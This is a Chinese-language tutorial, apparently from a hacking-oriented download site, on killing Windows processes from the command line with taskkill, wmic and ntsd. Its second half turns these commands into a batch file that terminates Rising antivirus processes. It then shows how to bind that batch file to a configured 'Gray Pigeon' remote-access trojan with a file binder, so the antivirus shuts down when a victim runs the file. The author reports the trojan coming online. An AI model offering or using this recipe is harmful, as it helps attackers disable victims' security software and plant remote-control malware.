大家好,我是桦香,今天我给大家做个教程:cmd下命令提示符下关进程+木马捆绑关杀毒软件批处理
本来打算做个语音的,由于麦克风出了问题,所以只好多打点字了,为了节约时间,大部分的字我已经打好了.

cmd下命令提示符下杀进程主要有三种方法:

1、用taskill命令
①taskkill /im 进程名称
示例:用taskkill /im VStart.exe命令关闭音速启动,VStart.exe就是音速启动的进程名称,下面看操作,执行了三次,成功关闭了音速启动,再看下面的方法.


②taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
注:有两种方法查进程的PID码:
①在命令行下用 tasklist 命令查出进程的PID号码,就是这些

②在任务管理器中的查看选项中选择选择列中勾先PID那一项

示例:举个关闭迅雷的例子,先找出迅雷的PID码2552
taskkill /pid 2552 -f,就是这个指令,下面来运行一下看看.看到没有迅雷已经关闭了,再看下面的方法

2、用 wmic process where name="进程名称" call terminate 这个不需要知道进程的PID号
示例:
wmic process where name="iexplore.exe" call terminate 关闭IE浏览器,我们来运行一下这条指令看看.看到了吧浏览器已经关闭了,再看下面的.

3、ntsd -c q -p [pid进程码]
示例:还是举个关闭迅雷的吧,同样先找出迅雷的PID码2724
ntsd -c q -p 2724 是这条指令,下面我们来执行一下看看.看到了吧,迅雷已经关闭了.

这样关进程有什么作用呢?
一方面遇到不能用任务管理器结束的进程可以试试上面的方法,而且用wmic process where name="进程名称" call terminate和taskkill /im 进程名称这两条可以同时关闭多个进程名相同的进程,举个关2个QQ的例子吧,
已经打开了两个QQ程序,wmic process where name="QQ.exe" call terminate,我们来执行一下看看,看到了吧,两个QQ都关闭了.

另一方面我们利用上面的命令可以做个关杀毒软件的批处理,然后把批处理文件和木马捆绑在一起,这样运行木马的时候就关闭了杀毒软件,下面看我操作
1、先建立一个关闭杀毒软件进程的批处理文件,这里我以关闭瑞星为例,说明一下我的瑞星已经关闭了监控系统,所以这些就不用了:wmic process where name="RavTask.exe" call terminate
wmic process where name="CCenter.exe" call terminate
wmic process where name="RavmonD.exe" call terminate
wmic process where name="Ravmon.exe" call terminate
wmic process where name="RavStub.exe" call terminate

2、配置一个木马,配个鸽子吧
3、用文件捆绑器将批处理文件和木马捆绑到一起,这里我随便找个文件捆绑器,不是免杀的,
已经捆绑好了
我们来运行一下捆绑后的文件
看到没有,瑞星已经关闭了,鸽子也上线了.我没有免杀的文件捆绑器,大家有的话,希望可以送个给我.

• [VIP专用软件 - 电信高速下载][非高级会员不可下载]
• [VIP专用软件 - 双线高速下载][非高级会员不可下载]

• ☉ Delphi编程教学系列（新世纪网安基地VIP教程）
• ☉ virtualpc中的linux如何连上Internet
• ☉ ProE 2.0安装视频
• ☉ 学会利用系统自身资源
• ☉ JSP开发之一Servlet基础
• ☉ 内网架设DNS服务器详解
• ☉ 心动吧桌面图之serv-U反弹
• ☉ 小解TTL的妙用
• ☉ 免费的网络电脑
• ☉ 略施小计吓跑不怀好意的菜鸟

• ☉ 由于私服程序的特殊性，它非常容易被杀毒误报，所以自2011年1月起本站所有软件都不在做杀毒查杀，请下载后自行检测查杀！
• ☉ 为了达到最快的下载速度，推荐使用 迅雷5 下载本站软件。
• ☉ 本站软件均为WinRAR3.7版本压缩，所以请一定升级到WinRAR3.7或最新版才能正常解压本站提供的软件!
• ☉ 如果您发现下载链接错误，或内容与分类不匹配，请点击报告错误。正确报错10个我们将送您VIP会员！
• ☉ 如发现本站软件需要解压密码，均为：www.9876543210sf.com